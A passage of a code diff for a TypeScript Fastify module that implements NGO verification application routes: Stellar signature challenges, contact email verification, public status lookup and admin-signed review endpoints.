whitespace-only values are rejected); `contactEmail` is a - * required email (max 254 characters per RFC 5321); optional `website` is - * normalized to HTTPS when scheme-less, must be a URL, and is capped at 2048 - * characters; optional `country` is at most 100 characters. `challenge` and - * `signature` prove control of ownerAddress. - */ -const applicationSchema = z.object({ - ownerAddress: z.string().regex(/^G[A-Z2-7]{55}$/), - name: z.string().trim().min(1).max(200), - description: z.string().trim().min(1).max(5000), - // Normalize scheme-less domains (e.g. "example.org") to "https://example.org" - // before URL validation so applicants who omit the scheme aren't blocked. - // Already-schemed URLs are passed through unchanged to avoid double-prefixing. - website: z - .string() - .transform((val) => (val && !/^https?:\/\//i.test(val) ? `https://${val}` : val)) - .pipe(z.string().url().max(2048)) - .optional(), - contactEmail: z.string().email().max(254), - country: z.string().max(100).optional(), -}); - -const applicationSubmissionSchema = applicationSchema.extend({ - challenge: z.string().uuid(), - signature: z.string().min(1), -}); - -const challengeRequestSchema = z.object({ - ownerAddress: z.string().regex(/^G[A-Z2-7]{55}$/), -}); - -function applicationChallengeMessage(ownerAddress: string, challenge: string, expiresAt: Date) { - return [ - 'StreamGive NGO application address verification', - `Owner address: ${ownerAddress}`, - `Challenge: ${challenge}`, - `Expires at: ${expiresAt.toISOString()}`, - ].join('\n'); -} - -function verifyApplicationSignature( - ownerAddress: string, - message: string, - signature: string, -): boolean { - try { - if (!StrKey.isValidEd25519PublicKey(ownerAddress)) return false; - const keypair = Keypair.fromPublicKey(ownerAddress); - const candidates = [Buffer.from(signature, 'base64'), Buffer.from(signature, 'hex')]; - return candidates.some( - (candidate) => candidate.length === 64 && keypair.verify(sep53Hash(message), candidate), - ); - } catch { - return false; - } -} - -/** - * Largest `offset` the admin list accepts. The database scans and discards - * `offset` rows on every page, so an unbounded value lets one request force a - * scan of the whole table. Requests above this are rejected with 400. - */ -export const MAX_APPLICATION_LIST_OFFSET = 10_000; - -/** - * Query for the admin list: optional status (`PENDING`, `APPROVED`, or - * `REJECTED`), `limit` from 1–100 (default 100), and `offset` from - * 0–`MAX_APPLICATION_LIST_OFFSET` (default 0). - */ -const listQuerySchema = z.object({ - status: z.enum(['PENDING', 'APPROVED', 'REJECTED']).optional(), - limit: z.coerce.number().int().min(1).max(100).default(100), - offset: z.coerce.number().int().min(0).max(MAX_APPLICATION_LIST_OFFSET).default(0), -}); - -/** Params for application detail and review routes; `id` must be an application UUID. */ -const idParamSchema = z.object({ id: z.string().uuid() }); - -/** Query for the public status lookup; `ownerAddress` must be a Stellar G... public key. */ -const statusQuerySchema = z.object({ - // Stellar StrKey ed25519 public key: 'G' + 55 base32 (A-Z2-7) chars. - // Same regex as GET /ngos/lookup. - ownerAddress: z.string().regex(/^G[A-Z2-7]{55}$/), -}); - -const contactVerificationTokenSchema = z.object({ token: z.string().length(43) }); - -/** Review body for approve/reject; optional `reviewNote` is at most 2000 characters. */ -const reviewBodySchema = z.object({ - reviewNote: z.string().max(2000).optional(), -}); - -/** - * Inserts a PENDING application, or reports the application that already - * blocks this address. - * - * Read-then-write is a race on its own: two POSTs that arrive together both - * read "nothing blocking", both insert, and one address ends up with two - * PENDING applications. The obvious remedy — a partial unique index on - * (owner_address) WHERE status = 'PENDING' — is not available here. This - * project syncs its schema with `prisma db push` and has no migration files - * (see DEPLOYMENT.md), so a raw index would never be applied, and Prisma's - * schema language cannot express a partial index anyway. - * - * So the insert is serialised in the database instead: a transaction-scoped - * advisory lock keyed on the owner address. The second request blocks until - * the first transaction commits, then re-reads inside its own transaction and - * sees the row the winner inserted, taking the 409 path. Postgres releases - * the lock at COMMIT or ROLLBACK, so a crashed request cannot wedge the - * address, and a `hashtext` collision only serialises two unrelated addresses - * — it can never let a duplicate through. - */ -async function createApplicationUnlessBlocked(data: z.infer) { - return prisma.$transaction(async (tx) => { - // `::text` pins the bind parameter's type instead of leaving it to the - // server to infer. - // $executeRaw, not $queryRaw: pg_advisory_xact_lock returns `void`, which - // the pg driver adapter cannot deserialize into a JS value. $executeRaw - // only needs the row count, so it sidesteps the unsupported column type. - await tx.$executeRaw`SELECT pg_advisory_xact_lock(hashtext(${data.ownerAddress}::text)::bigint)`; - - const existingApp = await tx.ngoApplication.findFirst({ - where: { - ownerAddress: data.ownerAddress, - status: { in: ['PENDING', 'APPROVED'] }, - }, - }); - if (existingApp) { - return { ok: false as const, status: existingApp.status }; - } - - return { ok: true as const, application: await tx.ngoApplication.create({ data }) }; - }); -} - -const adminSecurityScheme = [{ adminAddress: [], adminSignature: [], adminTimestamp: [] }]; - -export async function ngoApplicationRoutes(app: FastifyInstance): Promise { - /** - * Issues a short-lived challenge that must be signed by the NGO owner address. - * @route POST /v1/ngo-applications/challenge - * @body `{ ownerAddress }` - * @returns 201 `{ challenge, message, expiresAt }`. - */ - app.post( - '/ngo-applications/challenge', - { - schema: { - tags: ['NGO Applications'], - summary: 'Issues a short-lived challenge that must be signed by the NGO owner address', - }, - }, - async (request, reply) => { - const parsed = challengeRequestSchema.safeParse(request.body); - if (!parsed.success) { - return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); - } - if (!StrKey.isValidEd25519PublicKey(parsed.data.ownerAddress)) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const challenge = randomUUID(); - const expiresAt = new Date(Date.now() + APPLICATION_CHALLENGE_TTL_MS); - const message = applicationChallengeMessage(parsed.data.ownerAddress, challenge, expiresAt); - await prisma.ngoApplicationChallenge.deleteMany({ - where: { expiresAt: { lte: new Date() } }, - }); - await prisma.ngoApplicationChallenge.create({ - data: { challenge, ownerAddress: parsed.data.ownerAddress, expiresAt }, - }); - - return reply.code(201).send({ challenge, message, expiresAt }); - }); - - /** - * Submits a public NGO verification application. - * @route POST /v1/ngo-applications - * @body applicationSchema plus a server-issued `challenge` and SEP-53 `signature` - * @auth Public - * @returns 201 created application; 400 invalid request or signature; 409 `{ error: "already_approved" | "application_already_pending" }`. - */ - app.post( - '/ngo-applications', - // Public write endpoint — tighter than the global default since it's - // the most spam-prone route in the API. - { - config: { - rateLimit: { - max: Number(process.env.RATE_LIMIT_APPLICATION_MAX ?? 5), - timeWindow: process.env.RATE_LIMIT_APPLICATION_WINDOW ?? '1 minute', - }, - }, - schema: { - tags: ['NGO Applications'], - summary: 'Submits a public NGO verification application', - }, - }, - async (request, reply) => { - const parsed = applicationSubmissionSchema.safeParse(request.body); - if (!parsed.success) { - return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); - } - - const { challenge, signature, ...applicationData } = parsed.data; - const challengeRecord = await prisma.ngoApplicationChallenge.findUnique({ - where: { challenge }, - }); - if ( - !challengeRecord || - challengeRecord.ownerAddress !== applicationData.ownerAddress || - challengeRecord.expiresAt.getTime() <= Date.now() - ) { - return reply.code(400).send({ error: 'invalid_or_expired_challenge' }); - } - - const message = applicationChallengeMessage( - challengeRecord.ownerAddress, - challenge, - challengeRecord.expiresAt, - ); - if (!verifyApplicationSignature(applicationData.ownerAddress, message, signature)) { - return reply.code(401).send({ error: 'invalid_signature' }); - } - - const consumed = await prisma.ngoApplicationChallenge.deleteMany({ - where: { - challenge, - ownerAddress: applicationData.ownerAddress, - expiresAt: { gt: new Date() }, - }, - }); - if (consumed.count !== 1) { - return reply.code(400).send({ error: 'invalid_or_expired_challenge' }); - } - - const result = await createApplicationUnlessBlocked(applicationData); - if (!result.ok) { - if (result.status === 'APPROVED') { - return reply.code(409).send({ error: 'already_approved' }); - } - return reply.code(409).send({ error: 'application_already_pending' }); - } - - await notify({ - type: 'application_submitted', - applicationId: result.application.id, - ownerAddress: result.application.ownerAddress, - name: result.application.name, - }); - await sendContactVerification(result.application); - return reply.code(201).send(result.application); - }, - ); - - /** - * Redeems the one-time link sent to an NGO application's contact email. - * @route GET /v1/ngo-applications/verify-contact-email - * @query token opaque, single-use token sent by email - * @returns 200 `{ verified: true }`; 400 invalid or expired token. - */ - app.get('/ngo-applications/verify-contact-email', async (request, reply) => { - const parsed = contactVerificationTokenSchema.safeParse(request.query); - if (!parsed.success) return reply.code(400).send({ error: 'invalid_or_expired_token' }); - const verified = await verifyContactToken(parsed.data.token); - if (!verified) return reply.code(400).send({ error: 'invalid_or_expired_token' }); - return { verified: true }; - }); - - /** - * Sends another verification link without revealing whether the application exists. - * @route POST /v1/ngo-applications/:id/contact-email-verification - * @returns 202 `{ message }` for missing, verified, or resent applications. - */ - app.post( - '/ngo-applications/:id/contact-email-verification', - { - config: { - rateLimit: { - max: Number(process.env.RATE_LIMIT_APPLICATION_MAX ?? 5), - timeWindow: process.env.RATE_LIMIT_APPLICATION_WINDOW ?? '1 minute', - }, - }, - }, - async (request, reply) => { - const parsedParams = idParamSchema.safeParse(request.params); - if (parsedParams.success) { - const application = await prisma.ngoApplication.findUnique({ - where: { id: parsedParams.data.id }, - select: { id: true, name: true, contactEmail: true, emailVerifiedAt: true }, - }); - if (application && !application.emailVerifiedAt) { - await sendContactVerification(application); - } - } - return reply.code(202).send({ message: 'If eligible, a verification email has been sent.' }); - }, - ); - - // Public read endpoint: an applicant can check their own review status - // without an admin signature. Deliberately returns only the review - // outcome, timestamps, and (after review) the review note — never contact - // details or the description submitted with the application, since anyone - // who knows (or guesses) an address could otherwise read them. - /** - * Returns the latest application status without exposing submitted details. - * @route GET /v1/ngo-applications/status - * @query ownerAddress Stellar public key - * @auth Public - * @returns 200 `{ status, createdAt, updatedAt, reviewNote? }`; the note - * is returned after review. 400 invalid address; 404 `{ error: "not_found" }`. - */ - app.get( - '/ngo-applications/status', - { - schema: { - tags: ['NGO Applications'], - summary: 'Check an NGO application status', - description: - 'Returns the status and timestamps, plus the review note after review, for the supplied owner address.', - querystring: { - type: 'object', - properties: { ownerAddress: { type: 'string', pattern: '^G[A-Z2-7]{55}$' } }, - required: ['ownerAddress'], - }, - response: { - 200: { type: 'object', additionalProperties: true }, - 400: { type: 'object', additionalProperties: true }, - 404: { type: 'object', additionalProperties: true }, - 503: { type: 'object', additionalProperties: true }, - }, - }, - }, - async (request, reply) => { - const parsed = statusQuerySchema.safeParse(request.query); - if (!parsed.success) { - return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); - } - - const application = await prisma.ngoApplication.findFirst({ - where: { ownerAddress: parsed.data.ownerAddress }, - orderBy: { createdAt: 'desc' }, - select: { status: true, createdAt: true, updatedAt: true, reviewNote: true }, - }); - if (!application) { - return reply.code(404).send({ error: 'not_found' }); - } - - if (application.status === 'PENDING') { - return { - status: application.status, - createdAt: application.createdAt, - updatedAt: application.updatedAt, - }; - } - return application; - }, - ); - - // Admin dashboard endpoint: returns application counts grouped by - // status so the client doesn't have to fetch and count applications - // itself. Must be registered before the /:id route so 'stats' isn't - // swallowed as an id and rejected by the UUID param validation. - /** - * Counts applications grouped by review status. - * @route GET /v1/ngo-applications/stats - * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. - * @returns 200 `{ counts: { PENDING, APPROVED, REJECTED }, total }`. - */ - app.get( - '/ngo-applications/stats', - { - preHandler: requireAdminSignature, - schema: { - tags: ['NGO Applications'], - summary: 'Counts applications grouped by review status', - security: adminSecurityScheme, - }, - }, - async () => { - const grouped = await prisma.ngoApplication.groupBy({ - by: ['status'], - _count: { _all: true }, - }); - - const counts = { PENDING: 0, APPROVED: 0, REJECTED: 0 } as Record; - for (const row of grouped) { - counts[row.status] = row._count._all; - } - - const total = counts.PENDING + counts.APPROVED + counts.REJECTED; - - return { - counts: { PENDING: counts.PENDING, APPROVED: counts.APPROVED, REJECTED: counts.REJECTED }, - total, - }; - }); - - /** - * Lists applications newest first with optional status and offset pagination. - * Rows are ordered by `createdAt` then `id` (both descending), so applications - * created at the same instant keep a fixed position and offset pages never - * repeat or skip a row. - * @route GET /v1/ngo-applications - * @query status, limit, offset - * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. - * @returns 200 `{ applications: Application[], total, limit, offset }`; 400 `{ error: "invalid_request", details }` (including `offset` above `MAX_APPLICATION_LIST_OFFSET`). - */ - app.get( - '/ngo-applications', - { - preHandler: requireAdminSignature, - schema: { - tags: ['NGO Applications'], - summary: 'Lists applications newest first with optional status and offset pagination', - security: adminSecurityScheme, - }, - }, - async (request, reply) => { - const parsed = listQuerySchema.safeParse(request.query); - if (!parsed.success) { - return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); - } - - const where = parsed.data.status ? { status: parsed.data.status } : {}; - - const [applications, total] = await Promise.all([ - prisma.ngoApplication.findMany({ - where, - orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], - take: parsed.data.limit, - skip: parsed.data.offset, - }), - prisma.ngoApplication.count({ where }), - ]); - - return { applications, total, limit: parsed.data.limit, offset: parsed.data.offset }; - }); - - /** - * Returns a single application, including its submitted and review details. - * @route GET /v1/ngo-applications/:id - * @param id Application UUID - * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. - * @returns 200 application; 400 invalid UUID; 404 `{ error: "not_found" }`. - */ - app.get( - '/ngo-applications/:id', - { - preHandler: requireAdminSignature, - schema: { - tags: ['NGO Applications'], - summary: 'Returns a single application, including its submitted and review details', - security: adminSecurityScheme, - }, - }, - async (request, reply) => { - const parsedParams = idParamSchema.safeParse(request.params); - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const application = await prisma.ngoApplication.findUnique({ - where: { id: parsedParams.data.id }, - }); - if (!application) { - return reply.code(404).send({ error: 'not_found' }); - } - - return application; - }, - ); - - /** - * Approves a pending application and optionally records a review note. - * @route POST /v1/ngo-applications/:id/approve - * @param id Application UUID - * @body Optional `{ reviewNote?: string }` (maximum 2000 characters) - * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. - * @returns 200 updated application; 400 invalid params/body; 404 `{ error: "not_found" }`; 409 `{ error: "already_reviewed" }`. - */ - app.post( - '/ngo-applications/:id/approve', - { - preHandler: requireAdminSignature, - schema: { - tags: ['NGO Applications'], - summary: 'Approves a pending application and optionally records a review note', - security: adminSecurityScheme, - }, - }, - async (request, reply) => { - const reviewedBy = request.headers['x-admin-address']; - if (typeof reviewedBy !== 'string') { - return reply.code(401).send({ error: 'unauthorized' }); - } - - const parsedParams = idParamSchema.safeParse(request.params); - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - const { id } = parsedParams.data; - - const parsed = reviewBodySchema.safeParse(request.body ?? {}); - if (!parsed.success) { - return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); - } - - const application = await prisma.ngoApplication.findUnique({ where: { id } }); - if (!application) { - return reply.code(404).send({ error: 'not_found' }); - } - if (application.status !== 'PENDING') { - return reply.code(409).send({ error: 'already_reviewed' }); - } - if (!application.emailVerifiedAt) { - return reply.code(409).send({ error: 'contact_email_unverified' }); - } - - try { - const reviewed = await prisma.ngoApplication.update({ - where: { id, status: 'PENDING' }, - data: { - status: 'APPROVED', - reviewNote: parsed.data?.reviewNote, - reviewedBy, - reviewedAt: new Date(), - }, - }); - await notify({ - type: 'application_reviewed', - applicationId: reviewed.id, - ownerAddress: reviewed.ownerAddress, - status: 'APPROVED', - ...(reviewed.reviewNote ? { reviewNote: reviewed.reviewNote } : {}), - }); - return reviewed; - } catch (err) { - if ( - typeof err === 'object' && - err !== null && - (err as { code?: string }).code === 'P2025' - ) { - return reply.code(404).send({ error: 'not_found' }); - } - throw err; - } - }, - ); - - /** - * Rejects a pending application and optionally records a review note. - * @route POST /v1/ngo-applications/:id/reject - * @param id Application UUID - * @body Optional `{ reviewNote?: string }` (maximum 2000 characters) - * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. - * @returns 200 updated application; 400 invalid params/body; 404 `{ error: "not_found" }`; 409 `{ error: "already_reviewed" }`. - */ - app.post( - '/ngo-applications/:id/reject', - { - preHandler: requireAdminSignature, - schema: { - tags: ['NGO Applications'], - summary: 'Rejects a pending application and optionally records a review note', - security: adminSecurityScheme, - }, - }, - async (request, reply) => { - const reviewedBy = request.headers['x-admin-address']; - if (typeof reviewedBy !== 'string') { - return reply.code(401).send({ error: 'unauthorized' }); - } - - const parsedParams = idParamSchema.safeParse(request.params); - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - const { id } = parsedParams.data; - - const parsed = reviewBodySchema.safeParse(request.body ?? {}); - if (!parsed.success) { - return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); - } - - const application = await prisma.ngoApplication.findUnique({ where: { id } }); - if (!application) { - return reply.code(404).send({ error: 'not_found' }); - } - if (application.status !== 'PENDING') { - return reply.code(409).send({ error: 'already_reviewed' }); - } - if (!application.emailVerifiedAt) { - return reply.code(409).send({ error: 'contact_email_unverified' }); - } - - try { - const reviewed = await prisma.ngoApplication.update({ - where: { id, status: 'PENDING' }, - data: { - status: 'REJECTED', - reviewNote: parsed.data?.reviewNote, - reviewedBy, - reviewedAt: new Date(), - }, - }); - await notify({ - type: 'application_reviewed', - applicationId: reviewed.id, - ownerAddress: reviewed.ownerAddress, - status: 'REJECTED', - ...(reviewed.reviewNote ? { reviewNote: reviewed.reviewNote } : {}), - }); - return reviewed; - } catch (err) { - if ( - typeof err === 'object' && - err !== null && - (err as { code?: string }).code === 'P2025' - ) { - return reply.code(404).send({ error: 'not_found' }); - } - throw err; - } - }, - ); -} +import type { FastifyInstance } from 'fastify'; +import { randomUUID } from 'node:crypto'; +import { Keypair, StrKey } from '@stellar/stellar-sdk'; +import { z } from 'zod'; + +import { prisma } from '../db.js'; +import { requireAdminSignature, sep53Hash } from '../middleware/adminAuth.js'; +import { notify } from '../notifications/service.js'; +import { sendContactVerification, verifyContactToken } from '../notifications/contactVerification.js'; + +const APPLICATION_CHALLENGE_TTL_MS = 5 * 60 * 1000; + +/** + * Submission body: `ownerAddress` must be a Stellar G... public key; + * `name` and `description` are required (1–200 and 1–5000 characters after + * trimming — whitespace-only values are rejected); `contactEmail` is a + * required email (max 254 characters per RFC 5321); optional `website` is + * normalized to HTTPS when scheme-less, must be a URL, and is capped at 2048 + * characters; optional `country` is at most 100 characters. `challenge` and + * `signature` prove control of ownerAddress. + */ +const applicationSchema = z.object({ + ownerAddress: z.string().regex(/^G[A-Z2-7]{55}$/), + name: z.string().trim().min(1).max(200), + description: z.string().trim().min(1).max(5000), + // Normalize scheme-less domains (e.g. "example.org") to "https://example.org" + // before URL validation so applicants who omit the scheme aren't blocked. + // Already-schemed URLs are passed through unchanged to avoid double-prefixing. + website: z + .string() + .transform((val) => (val && !/^https?:\/\//i.test(val) ? `https://${val}` : val)) + .pipe(z.string().url().max(2048)) + .optional(), + contactEmail: z.string().email().max(254), + country: z.string().max(100).optional(), +}); + +const applicationSubmissionSchema = applicationSchema.extend({ + challenge: z.string().uuid(), + signature: z.string().min(1), +}); + +const challengeRequestSchema = z.object({ + ownerAddress: z.string().regex(/^G[A-Z2-7]{55}$/), +}); + +function applicationChallengeMessage(ownerAddress: string, challenge: string, expiresAt: Date) { + return [ + 'StreamGive NGO application address verification', + `Owner address: ${ownerAddress}`, + `Challenge: ${challenge}`, + `Expires at: ${expiresAt.toISOString()}`, + ].join('\n'); +} + +function verifyApplicationSignature( + ownerAddress: string, + message: string, + signature: string, +): boolean { + try { + if (!StrKey.isValidEd25519PublicKey(ownerAddress)) return false; + const keypair = Keypair.fromPublicKey(ownerAddress); + const candidates = [Buffer.from(signature, 'base64'), Buffer.from(signature, 'hex')]; + return candidates.some( + (candidate) => candidate.length === 64 && keypair.verify(sep53Hash(message), candidate), + ); + } catch { + return false; + } +} + +/** + * Largest `offset` the admin list accepts. The database scans and discards + * `offset` rows on every page, so an unbounded value lets one request force a + * scan of the whole table. Requests above this are rejected with 400. + */ +export const MAX_APPLICATION_LIST_OFFSET = 10_000; + +/** + * Query for the admin list: optional status (`PENDING`, `APPROVED`, or + * `REJECTED`), `limit` from 1–100 (default 100), and `offset` from + * 0–`MAX_APPLICATION_LIST_OFFSET` (default 0). + */ +const listQuerySchema = z.object({ + status: z.enum(['PENDING', 'APPROVED', 'REJECTED']).optional(), + limit: z.coerce.number().int().min(1).max(100).default(100), + offset: z.coerce.number().int().min(0).max(MAX_APPLICATION_LIST_OFFSET).default(0), +}); + +/** Params for application detail and review routes; `id` must be an application UUID. */ +const idParamSchema = z.object({ id: z.string().uuid() }); + +/** Query for the public status lookup; `ownerAddress` must be a Stellar G... public key. */ +const statusQuerySchema = z.object({ + // Stellar StrKey ed25519 public key: 'G' + 55 base32 (A-Z2-7) chars. + // Same regex as GET /ngos/lookup. + ownerAddress: z.string().regex(/^G[A-Z2-7]{55}$/), +}); + +const contactVerificationTokenSchema = z.object({ token: z.string().length(43) }); + +/** Review body for approve/reject; optional `reviewNote` is at most 2000 characters. */ +const reviewBodySchema = z.object({ + reviewNote: z.string().max(2000).optional(), +}); + +/** + * Inserts a PENDING application, or reports the application that already + * blocks this address. + * + * Read-then-write is a race on its own: two POSTs that arrive together both + * read "nothing blocking", both insert, and one address ends up with two + * PENDING applications. The obvious remedy — a partial unique index on + * (owner_address) WHERE status = 'PENDING' — is not available here. This + * project syncs its schema with `prisma db push` and has no migration files + * (see DEPLOYMENT.md), so a raw index would never be applied, and Prisma's + * schema language cannot express a partial index anyway. + * + * So the insert is serialised in the database instead: a transaction-scoped + * advisory lock keyed on the owner address. The second request blocks until + * the first transaction commits, then re-reads inside its own transaction and + * sees the row the winner inserted, taking the 409 path. Postgres releases + * the lock at COMMIT or ROLLBACK, so a crashed request cannot wedge the + * address, and a `hashtext` collision only serialises two unrelated addresses + * — it can never let a duplicate through. + */ +async function createApplicationUnlessBlocked(data: z.infer) { + return prisma.$transaction(async (tx) => { + // `::text` pins the bind parameter's type instead of leaving it to the + // server to infer. + // $executeRaw, not $queryRaw: pg_advisory_xact_lock returns `void`, which + // the pg driver adapter cannot deserialize into a JS value. $executeRaw + // only needs the row count, so it sidesteps the unsupported column type. + await tx.$executeRaw`SELECT pg_advisory_xact_lock(hashtext(${data.ownerAddress}::text)::bigint)`; + + const existingApp = await tx.ngoApplication.findFirst({ + where: { + ownerAddress: data.ownerAddress, + status: { in: ['PENDING', 'APPROVED'] }, + }, + }); + if (existingApp) { + return { ok: false as const, status: existingApp.status }; + } + + return { ok: true as const, application: await tx.ngoApplication.create({ data }) }; + }); +} + +const adminSecurityScheme = [{ adminAddress: [], adminSignature: [], adminTimestamp: [] }]; + +export async function ngoApplicationRoutes(app: FastifyInstance): Promise { + /** + * Issues a short-lived challenge that must be signed by the NGO owner address. + * @route POST /v1/ngo-applications/challenge + * @body `{ ownerAddress }` + * @returns 201 `{ challenge, message, expiresAt }`. + */ + app.post( + '/ngo-applications/challenge', + { + schema: { + tags: ['NGO Applications'], + summary: 'Issues a short-lived challenge that must be signed by the NGO owner address', + }, + }, + async (request, reply) => { + const parsed = challengeRequestSchema.safeParse(request.body); + if (!parsed.success) { + return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); + } + if (!StrKey.isValidEd25519PublicKey(parsed.data.ownerAddress)) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const challenge = randomUUID(); + const expiresAt = new Date(Date.now() + APPLICATION_CHALLENGE_TTL_MS); + const message = applicationChallengeMessage(parsed.data.ownerAddress, challenge, expiresAt); + await prisma.ngoApplicationChallenge.deleteMany({ + where: { expiresAt: { lte: new Date() } }, + }); + await prisma.ngoApplicationChallenge.create({ + data: { challenge, ownerAddress: parsed.data.ownerAddress, expiresAt }, + }); + + return reply.code(201).send({ challenge, message, expiresAt }); + }); + + /** + * Submits a public NGO verification application. + * @route POST /v1/ngo-applications + * @body applicationSchema plus a server-issued `challenge` and SEP-53 `signature` + * @auth Public + * @returns 201 created application; 400 invalid request or signature; 409 `{ error: "already_approved" | "application_already_pending" }`. + */ + app.post( + '/ngo-applications', + // Public write endpoint — tighter than the global default since it's + // the most spam-prone route in the API. + { + config: { + rateLimit: { + max: Number(process.env.RATE_LIMIT_APPLICATION_MAX ?? 5), + timeWindow: process.env.RATE_LIMIT_APPLICATION_WINDOW ?? '1 minute', + }, + }, + schema: { + tags: ['NGO Applications'], + summary: 'Submits a public NGO verification application', + }, + }, + async (request, reply) => { + const parsed = applicationSubmissionSchema.safeParse(request.body); + if (!parsed.success) { + return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); + } + + const { challenge, signature, ...applicationData } = parsed.data; + const challengeRecord = await prisma.ngoApplicationChallenge.findUnique({ + where: { challenge }, + }); + if ( + !challengeRecord || + challengeRecord.ownerAddress !== applicationData.ownerAddress || + challengeRecord.expiresAt.getTime() <= Date.now() + ) { + return reply.code(400).send({ error: 'invalid_or_expired_challenge' }); + } + + const message = applicationChallengeMessage( + challengeRecord.ownerAddress, + challenge, + challengeRecord.expiresAt, + ); + if (!verifyApplicationSignature(applicationData.ownerAddress, message, signature)) { + return reply.code(401).send({ error: 'invalid_signature' }); + } + + const consumed = await prisma.ngoApplicationChallenge.deleteMany({ + where: { + challenge, + ownerAddress: applicationData.ownerAddress, + expiresAt: { gt: new Date() }, + }, + }); + if (consumed.count !== 1) { + return reply.code(400).send({ error: 'invalid_or_expired_challenge' }); + } + + const result = await createApplicationUnlessBlocked(applicationData); + if (!result.ok) { + if (result.status === 'APPROVED') { + return reply.code(409).send({ error: 'already_approved' }); + } + return reply.code(409).send({ error: 'application_already_pending' }); + } + + await notify({ + type: 'application_submitted', + applicationId: result.application.id, + ownerAddress: result.application.ownerAddress, + name: result.application.name, + }); + await sendContactVerification(result.application); + return reply.code(201).send(result.application); + }, + ); + + /** + * Redeems the one-time link sent to an NGO application's contact email. + * @route GET /v1/ngo-applications/verify-contact-email + * @query token opaque, single-use token sent by email + * @returns 200 `{ verified: true }`; 400 invalid or expired token. + */ + app.get('/ngo-applications/verify-contact-email', async (request, reply) => { + const parsed = contactVerificationTokenSchema.safeParse(request.query); + if (!parsed.success) return reply.code(400).send({ error: 'invalid_or_expired_token' }); + const verified = await verifyContactToken(parsed.data.token); + if (!verified) return reply.code(400).send({ error: 'invalid_or_expired_token' }); + return { verified: true }; + }); + + /** + * Sends another verification link without revealing whether the application exists. + * @route POST /v1/ngo-applications/:id/contact-email-verification + * @returns 202 `{ message }` for missing, verified, or resent applications. + */ + app.post( + '/ngo-applications/:id/contact-email-verification', + { + config: { + rateLimit: { + max: Number(process.env.RATE_LIMIT_APPLICATION_MAX ?? 5), + timeWindow: process.env.RATE_LIMIT_APPLICATION_WINDOW ?? '1 minute', + }, + }, + }, + async (request, reply) => { + const parsedParams = idParamSchema.safeParse(request.params); + if (parsedParams.success) { + const application = await prisma.ngoApplication.findUnique({ + where: { id: parsedParams.data.id }, + select: { id: true, name: true, contactEmail: true, emailVerifiedAt: true }, + }); + if (application && !application.emailVerifiedAt) { + await sendContactVerification(application); + } + } + return reply.code(202).send({ message: 'If eligible, a verification email has been sent.' }); + }, + ); + + // Public read endpoint: an applicant can check their own review status + // without an admin signature. Deliberately returns only the review + // outcome, timestamps, and (after review) the review note — never contact + // details or the description submitted with the application, since anyone + // who knows (or guesses) an address could otherwise read them. + /** + * Returns the latest application status without exposing submitted details. + * @route GET /v1/ngo-applications/status + * @query ownerAddress Stellar public key + * @auth Public + * @returns 200 `{ status, createdAt, updatedAt, reviewNote? }`; the note + * is returned after review. 400 invalid address; 404 `{ error: "not_found" }`. + */ + app.get( + '/ngo-applications/status', + { + schema: { + tags: ['NGO Applications'], + summary: 'Check an NGO application status', + description: + 'Returns the status and timestamps, plus the review note after review, for the supplied owner address.', + querystring: { + type: 'object', + properties: { ownerAddress: { type: 'string', pattern: '^G[A-Z2-7]{55}$' } }, + required: ['ownerAddress'], + }, + response: { + 200: { type: 'object', additionalProperties: true }, + 400: { type: 'object', additionalProperties: true }, + 404: { type: 'object', additionalProperties: true }, + 503: { type: 'object', additionalProperties: true }, + }, + }, + }, + async (request, reply) => { + const parsed = statusQuerySchema.safeParse(request.query); + if (!parsed.success) { + return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); + } + + const application = await prisma.ngoApplication.findFirst({ + where: { ownerAddress: parsed.data.ownerAddress }, + orderBy: { createdAt: 'desc' }, + select: { status: true, createdAt: true, updatedAt: true, reviewNote: true }, + }); + if (!application) { + return reply.code(404).send({ error: 'not_found' }); + } + + if (application.status === 'PENDING') { + return { + status: application.status, + createdAt: application.createdAt, + updatedAt: application.updatedAt, + }; + } + return application; + }, + ); + + // Admin dashboard endpoint: returns application counts grouped by + // status so the client doesn't have to fetch and count applications + // itself. Must be registered before the /:id route so 'stats' isn't + // swallowed as an id and rejected by the UUID param validation. + /** + * Counts applications grouped by review status. + * @route GET /v1/ngo-applications/stats + * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. + * @returns 200 `{ counts: { PENDING, APPROVED, REJECTED }, total }`. + */ + app.get( + '/ngo-applications/stats', + { + preHandler: requireAdminSignature, + schema: { + tags: ['NGO Applications'], + summary: 'Counts applications grouped by review status', + security: adminSecurityScheme, + }, + }, + async () => { + const grouped = await prisma.ngoApplication.groupBy({ + by: ['status'], + _count: { _all: true }, + }); + + const counts = { PENDING: 0, APPROVED: 0, REJECTED: 0 } as Record; + for (const row of grouped) { + counts[row.status] = row._count._all; + } + + const total = counts.PENDING + counts.APPROVED + counts.REJECTED; + + return { + counts: { PENDING: counts.PENDING, APPROVED: counts.APPROVED, REJECTED: counts.REJECTED }, + total, + }; + }); + + /** + * Lists applications newest first with optional status and offset pagination. + * Rows are ordered by `createdAt` then `id` (both descending), so applications + * created at the same instant keep a fixed position and offset pages never + * repeat or skip a row. + * @route GET /v1/ngo-applications + * @query status, limit, offset + * @auth Admin signature required via `x-admin-address`, 